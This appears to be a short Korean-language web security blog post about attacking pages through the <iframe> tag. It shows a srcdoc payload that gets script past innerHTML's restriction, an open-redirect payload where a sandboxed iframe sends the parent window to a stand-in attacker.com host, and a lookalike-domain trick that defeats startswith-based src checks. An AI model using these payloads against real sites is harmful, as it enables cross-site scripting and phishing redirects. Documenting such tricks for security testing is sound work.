Intro

<iframe>은 다른 웹 페이지(HTML)를 사용하기 위한 태그이고, 아직 많이 사용하고 있는 것 같습니다. 특히 youtube를 불러올 때, 많이 쓰는거 같다는 느낌을 받았습니다. [왜 video로 안불러오지….?]

현 페이지가 보안에 안전한 페이지라도 불러오는 다른 웹 페이지가 안전하지 않다면 현 페이지에도 영향이 가기에 <iframe>에 대한 저의 인식은 취약한 태그로 자리잡고 있습니다.

이 글에서 다양한 보안 설정들을 <iframe>을 통해 어떻게 우회? 및 공격할 수 있는지 적어두려고 합니다.

Detect & Exploit

Detect

우선 iframe 태그를 삽입할 수 있는 지 파악해주시면 됩니다.

Exploit

InnerHTML 우회

MDN InnerHTML문서를 보면 InnerHTML로 <script> 삽입 시 실행이 되지 않는다고 되어 있습니다. 저도 진단하면서 간혹 태그는 정상적으로 들어가지만, 실행이 안됐던 적이 있었는데 <iframe>을 통해 우회가 가능합니다.
☑️물론 <script>가 삽입되는 곳이라면 다른 편한 방법이 있을 것입니다.

#srcdoc 속성을 이용한 태그 삽입
<iframe srcdoc="<script>alert()</script>">

Open Redirect

iframe의 sandbox 속성을 이용하면 부모 창을 제어할 수 있습니다.

#webhook 
<script>window.top.location = https://attacker.com</script>

#victim site
<iframe src="https://webhook.site/~~" sandbox="allow-top-navigation allow-scripts">

#잘못된 src 검증 로직일 경우 ex) startswith
<iframe src="https://www.youtube.com.webhook.site/~~" sandbox="allow-top-navigation allow-scripts">

References

<iframe>-MDN